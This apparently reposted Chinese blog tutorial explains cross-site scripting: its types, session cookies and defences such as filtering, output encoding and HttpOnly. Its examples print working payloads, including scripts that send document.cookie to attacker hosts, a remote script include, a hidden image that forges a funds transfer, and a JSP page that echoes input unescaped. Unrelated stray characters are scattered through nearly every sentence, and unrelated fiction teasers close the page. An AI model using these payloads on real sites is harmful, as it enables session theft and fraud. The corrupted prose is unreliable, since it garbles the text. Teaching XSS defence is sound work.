轉(zhuǎn): 關(guān)于XSS

XSS是什么隔缀?

cross site Scripting(跨域腳本攻擊)饱须,它與SQL注入是非常相似的抑诸,SQL注入攻擊中以SQL語(yǔ)句作為用戶(hù)輸入,從而達(dá)到查詢(xún)/修改/刪除數(shù)據(jù)的目的滚澜,而在XSS攻擊中粗仓,通過(guò)惡意腳本,實(shí)現(xiàn)對(duì)用戶(hù)瀏覽器的控制。好像還有點(diǎn)抽象借浊,它是web程序中常見(jiàn)的漏洞眶掌,XSS屬于被動(dòng)式且用于客戶(hù)端的攻擊方式,所以容易被忽略其危害性巴碗。其原理是攻擊者向有XSS漏洞的網(wǎng)站中輸入(傳入)惡意的HTML代碼或惡意腳本朴爬,當(dāng)其他用戶(hù)瀏覽該網(wǎng)站時(shí),這段代碼就會(huì)自動(dòng)執(zhí)行橡淆,從而達(dá)到攻擊的目的召噩。如,盜取用戶(hù)Cookie逸爵,破壞頁(yè)面結(jié)構(gòu)具滴,重定向到其他網(wǎng)站等。

這段話(huà)是使我最能理解的师倔,二話(huà)不說(shuō)貼上來(lái)

“XSS原稱(chēng)為CSS(Cross-Site Scripting)构韵,因?yàn)楹蛯盈B樣式表(Cascading Style Sheets)重名,所以改稱(chēng)為XSS(X一般有未知的含義趋艘,還有擴(kuò)展的含義)疲恢。XSS攻擊涉及到三方:攻擊者,用戶(hù)瓷胧,web server显拳。用戶(hù)是通過(guò)瀏覽器來(lái)訪(fǎng)問(wèn)web server上的網(wǎng)頁(yè),XSS攻擊就是攻擊者通過(guò)各種辦法搓萧,在用戶(hù)訪(fǎng)問(wèn)的網(wǎng)頁(yè)中插入自己的腳本杂数,讓其在用戶(hù)訪(fǎng)問(wèn)網(wǎng)頁(yè)時(shí)在其瀏覽器中進(jìn)行執(zhí)行。攻擊者通過(guò)插入的腳本的執(zhí)行瘸洛,來(lái)獲得用戶(hù)的信息揍移,比如cookie,發(fā)送到攻擊者自己的網(wǎng)站(跨站了)反肋。所以稱(chēng)為跨站腳本攻擊那伐。XSS可以分為反射型XSS和持久性XSS,還有DOM Based XSS囚玫。(一句話(huà)喧锦,XSS就是在用戶(hù)的瀏覽器中執(zhí)行攻擊者自己定制的腳本读规。)”

XSS有哪些類(lèi)型抓督?

  1. 非持久型攻擊(也叫反射型攻擊)。通過(guò)GET和POST方法束亏,向服務(wù)器端輸入數(shù)據(jù)铃在。用戶(hù)     輸入的數(shù)據(jù)通常被放置在URL的query string中,或者是form數(shù)據(jù)中。如果服務(wù)器端對(duì)輸入的數(shù)據(jù)不進(jìn)行過(guò)濾定铜,驗(yàn)證或編碼阳液,就直接將用戶(hù)輸入的信息直接呈現(xiàn)給客戶(hù),則可能造成反射型XSS揣炕。其危害也不小帘皿,如在輸入框的name中輸入<meta http-equiv="refresh" content="5"/>,服務(wù)器不加處理,將name直接送到瀏覽器畸陡,則瀏覽器會(huì)每5秒自動(dòng)刷新一次鹰溜,那這服務(wù)器不得崩潰?另外丁恭,非持久型攻擊是一次性的曹动,僅對(duì)當(dāng)次的頁(yè)面訪(fǎng)問(wèn)產(chǎn)生影響。非持久型XSS攻擊要求用戶(hù)訪(fǎng)問(wèn)一個(gè)被攻擊者篡改后的鏈接牲览,用戶(hù)訪(fǎng)問(wèn)該鏈接時(shí)墓陈,被植入的攻擊腳本被用戶(hù)瀏覽器執(zhí)行,從而達(dá)到攻擊目的

    2.持久型攻擊(存儲(chǔ)型攻擊)通常是因?yàn)榉?wù)器端將用戶(hù)輸入的惡意腳本沒(méi)有通過(guò)驗(yàn)證就直接存儲(chǔ)在數(shù)據(jù)庫(kù)第献,并且每次通過(guò)調(diào)用數(shù)據(jù)庫(kù)的方式贡必,將數(shù)據(jù)呈現(xiàn)在瀏覽器上。則該XSS跨站腳本攻擊將一直存在庸毫。若其他用戶(hù)訪(fǎng)問(wèn)該網(wǎng)頁(yè)赊级,則惡意腳本就會(huì)被觸發(fā),用于盜取其他用戶(hù)的私人信息岔绸。

總的來(lái)說(shuō)理逊,XSS漏洞分為兩種,一種是DOM『腥唷based〗弧XSS 漏洞,另一種是stored「沼XSS漏洞羡洛。其實(shí)跟上面的兩種是一樣的。理論上藕漱,所有可輸入的地方?jīng)]有對(duì)輸入數(shù)據(jù)進(jìn)行處理的話(huà)欲侮,都會(huì)存在XSS漏洞,漏洞的危害取決于攻擊代碼的威力肋联,攻擊代碼也不局限于script威蕉。

XSS的示例?

  1. 輸入框中直接輸入惡意腳本橄仍,如:

<script>alert(document.cookie)</script>

或者 "> <script> document.location.href='http://127.0.0.1:9090/xss?foo='+document.cookie</script>

  1. 輸入框中輸入html標(biāo)簽韧涨,在標(biāo)簽中嵌入惡意腳本牍戚,如src,href虑粥,css style等如孝。

<IMG SRC="javascript:alert('XSS');">;

<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />

<BODY BACKGROUND="javascript:alert('XSS')">

<STYLE>li {list-style-image:url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

  1. 將惡意腳本注入在event事件中,如onClick娩贷,onBlur第晰,onMouseOver等事件。

<a onmouseover="alert(document.cookie)">xxslink</a>

  1. 在remote style sheet彬祖,javascript中但荤,如

<LINK REL="stylesheet"HREF="javascript:alert('XSS');">

<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>

5. META 標(biāo)簽,如

<meta http-equiv="refresh"content="5" />

<META HTTP-EQUIV="Set-Cookie"Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

非持久性攻擊的示例:

當(dāng)我登錄a.com后涧至,我發(fā)現(xiàn)它的頁(yè)面某些內(nèi)容是根據(jù)url中的一個(gè)叫content參數(shù)直接顯示的腹躁,猜測(cè)它測(cè)頁(yè)面處理可能是這樣,其它語(yǔ)言類(lèi)似:

<%@ page language="Java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>XSS測(cè)試</title>
</head>
<body>
頁(yè)面內(nèi)容:<%=request.getParameter("content")%>
</body>
</html>

我知道了Tom也注冊(cè)了該網(wǎng)站南蓬,并且知道了他的郵箱(或者其它能接收信息的聯(lián)系方式)纺非,我做一個(gè)超鏈接發(fā)給他,超鏈接地址為:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>赘方,當(dāng)Tom點(diǎn)擊這個(gè)鏈接的時(shí)候(假設(shè)他已經(jīng)登錄a.com)烧颖,瀏覽器就會(huì)直接打開(kāi)b.com,并且把Tom在a.com中的cookie信息發(fā)送到b.com窄陡,b.com是我搭建的網(wǎng)站炕淮,當(dāng)我的網(wǎng)站接收到該信息時(shí),我就盜取了Tom在a.com的cookie信息跳夭,cookie信息中可能存有登錄密碼涂圆,攻擊成功!這個(gè)過(guò)程中币叹,受害者只有Tom一個(gè)润歉。

持久性攻擊示例:

由于其攻擊代碼已經(jīng)存儲(chǔ)到服務(wù)器上或者數(shù)據(jù)庫(kù)中,所以被攻擊者是很多人颈抚。

a.com可以發(fā)文章踩衩,我登錄后在a.com中發(fā)布了一篇文章,文章中包含了惡意代碼贩汉,<script>window.open(“www.b.com?param=”+document.cookie)</script>驱富,保存文章。這時(shí)Tom和Jack看到了我發(fā)布的文章匹舞,當(dāng)在查看我的文章時(shí)就都中招了褐鸥,他們的cookie信息都發(fā)送到了我的服務(wù)器上,攻擊成功策菜!這個(gè)過(guò)程中晶疼,受害者是多個(gè)人酒贬。
Stored XSS漏洞危害性更大又憨,危害面更廣翠霍。

session背景知識(shí)

我們知道HTTP是一個(gè)無(wú)狀態(tài)維持的協(xié)議,所有請(qǐng)求/應(yīng)答都是獨(dú)立的蠢莺,其間不保存狀態(tài)信息寒匙。但有些場(chǎng)景下我們需要維護(hù)狀態(tài)信息,例如用戶(hù)登錄完web應(yīng)用后躏将,再一定時(shí)間內(nèi)锄弱,用戶(hù)再進(jìn)行登錄,應(yīng)不需要再輸入用戶(hù)名/密碼進(jìn)行鑒權(quán)祸憋。

這時(shí)我們用cookie和session解決狀態(tài)維護(hù)問(wèn)題会宪,當(dāng)用戶(hù)首次登入時(shí),服務(wù)器為該用戶(hù)創(chuàng)建一個(gè) session ID蚯窥,同時(shí)向游覽器傳送一個(gè) cookie掸鹅,cookie保存會(huì)話(huà)連接中用到的數(shù)據(jù),session ID作為會(huì)話(huà)標(biāo)識(shí)拦赠,游覽器后續(xù)的請(qǐng)求均基于該session ID巍沙。

攻擊者可以提供一個(gè)攻擊鏈接,當(dāng)用戶(hù)點(diǎn)擊該鏈接時(shí)荷鼠,向攻擊者自己的服務(wù)器發(fā)送一條保存有用戶(hù)session ID的信息句携,這樣就可以竊取到用戶(hù)的session ID,得到用戶(hù)的執(zhí)行權(quán)限允乐。

這篇就寫(xiě)的很好:http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html

XSS的防御矮嫉?

xss存在的根本原因是,對(duì)URL中的參數(shù)牍疏,對(duì)用戶(hù)輸入提交給服務(wù)器的內(nèi)容敞临,沒(méi)有進(jìn)行充分的過(guò)濾。如果我們能夠在web程序中麸澜,對(duì)用戶(hù)提交的URL中的參數(shù)挺尿,和提交的所有內(nèi)容咏删,進(jìn)行充分的過(guò)濾葬荷,將所有的不合法的參數(shù)和輸入的內(nèi)容過(guò)濾掉,那么就不會(huì)導(dǎo)致“在用戶(hù)的瀏覽器中執(zhí)行攻擊者自己制定的腳本”箱熬。

但是馁害,其實(shí)充分是而完全的過(guò)濾窄俏,實(shí)際上是無(wú)法實(shí)現(xiàn)的,因?yàn)楣粽哂懈鞣N各樣的神奇的碘菜,你完全想象不到的方式來(lái)繞過(guò)服務(wù)器端的過(guò)濾凹蜈,最典型的就是對(duì)URL和參數(shù)進(jìn)行各種編碼限寞,比如 escape, encodeURI, encodeURIComponent, 16進(jìn)制,10進(jìn)制仰坦,8進(jìn)制履植,來(lái)繞過(guò)XSS過(guò)濾。那么我們?nèi)绾蝸?lái)防御XSS呢悄晃?

總體思路是:對(duì)輸入的的值進(jìn)行過(guò)濾玫霎,對(duì)輸出進(jìn)行編碼。也就是對(duì)所提交的所有內(nèi)容進(jìn)行過(guò)濾妈橄,對(duì)URL中的參數(shù)進(jìn)行過(guò)濾庶近,過(guò)濾會(huì)導(dǎo)致腳本執(zhí)行的相關(guān)內(nèi)容;然后對(duì)動(dòng)態(tài)輸出到頁(yè)面的html編碼眷蚓,使得腳本無(wú)法在瀏覽器中執(zhí)行鼻种。雖然對(duì)輸入過(guò)濾可以被繞過(guò),但還是會(huì)攔截很大一部分的xss攻擊的哦沙热。

1叉钥、對(duì)于敏感的cookie信息,使用HttpOnly校读,使document對(duì)象中找不到cookie沼侣。 2歉秫、對(duì)于用戶(hù)輸入的信息要進(jìn)行轉(zhuǎn)義

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末蛾洛,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子雁芙,更是在濱河造成了極大的恐慌轧膘,老刑警劉巖,帶你破解...
    沈念sama閱讀 222,000評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件兔甘,死亡現(xiàn)場(chǎng)離奇詭異谎碍,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)洞焙,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,745評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門(mén)蟆淀,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人澡匪,你說(shuō)我怎么就攤上這事熔任。” “怎么了唁情?”我有些...
    開(kāi)封第一講書(shū)人閱讀 168,561評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵疑苔,是天一觀(guān)的道長(zhǎng)。 經(jīng)常有香客問(wèn)我甸鸟,道長(zhǎng)惦费,這世上最難降的妖魔是什么兵迅? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 59,782評(píng)論 1 298
  • 正文 為了忘掉前任,我火速辦了婚禮薪贫,結(jié)果婚禮上恍箭,老公的妹妹穿的比我還像新娘。我一直安慰自己后雷,他們只是感情好季惯,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,798評(píng)論 6 397
  • 文/花漫 我一把揭開(kāi)白布吠各。 她就那樣靜靜地躺著臀突,像睡著了一般。 火紅的嫁衣襯著肌膚如雪贾漏。 梳的紋絲不亂的頭發(fā)上候学,一...
    開(kāi)封第一講書(shū)人閱讀 52,394評(píng)論 1 310
  • 那天,我揣著相機(jī)與錄音纵散,去河邊找鬼梳码。 笑死,一個(gè)胖子當(dāng)著我的面吹牛伍掀,可吹牛的內(nèi)容都是我干的掰茶。 我是一名探鬼主播,決...
    沈念sama閱讀 40,952評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼蜜笤,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼濒蒋!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起把兔,我...
    開(kāi)封第一講書(shū)人閱讀 39,852評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤沪伙,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后县好,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體围橡,經(jīng)...
    沈念sama閱讀 46,409評(píng)論 1 318
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,483評(píng)論 3 341
  • 正文 我和宋清朗相戀三年缕贡,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了翁授。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,615評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡晾咪,死狀恐怖收擦,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情禀酱,我是刑警寧澤炬守,帶...
    沈念sama閱讀 36,303評(píng)論 5 350
  • 正文 年R本政府宣布,位于F島的核電站剂跟,受9級(jí)特大地震影響减途,放射性物質(zhì)發(fā)生泄漏酣藻。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,979評(píng)論 3 334
  • 文/蒙蒙 一鳍置、第九天 我趴在偏房一處隱蔽的房頂上張望辽剧。 院中可真熱鬧,春花似錦税产、人聲如沸怕轿。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,470評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)撞羽。三九已至,卻和暖如春衫冻,著一層夾襖步出監(jiān)牢的瞬間诀紊,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,571評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工隅俘, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留邻奠,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 49,041評(píng)論 3 377
  • 正文 我出身青樓为居,卻偏偏與公主長(zhǎng)得像碌宴,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子蒙畴,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,630評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容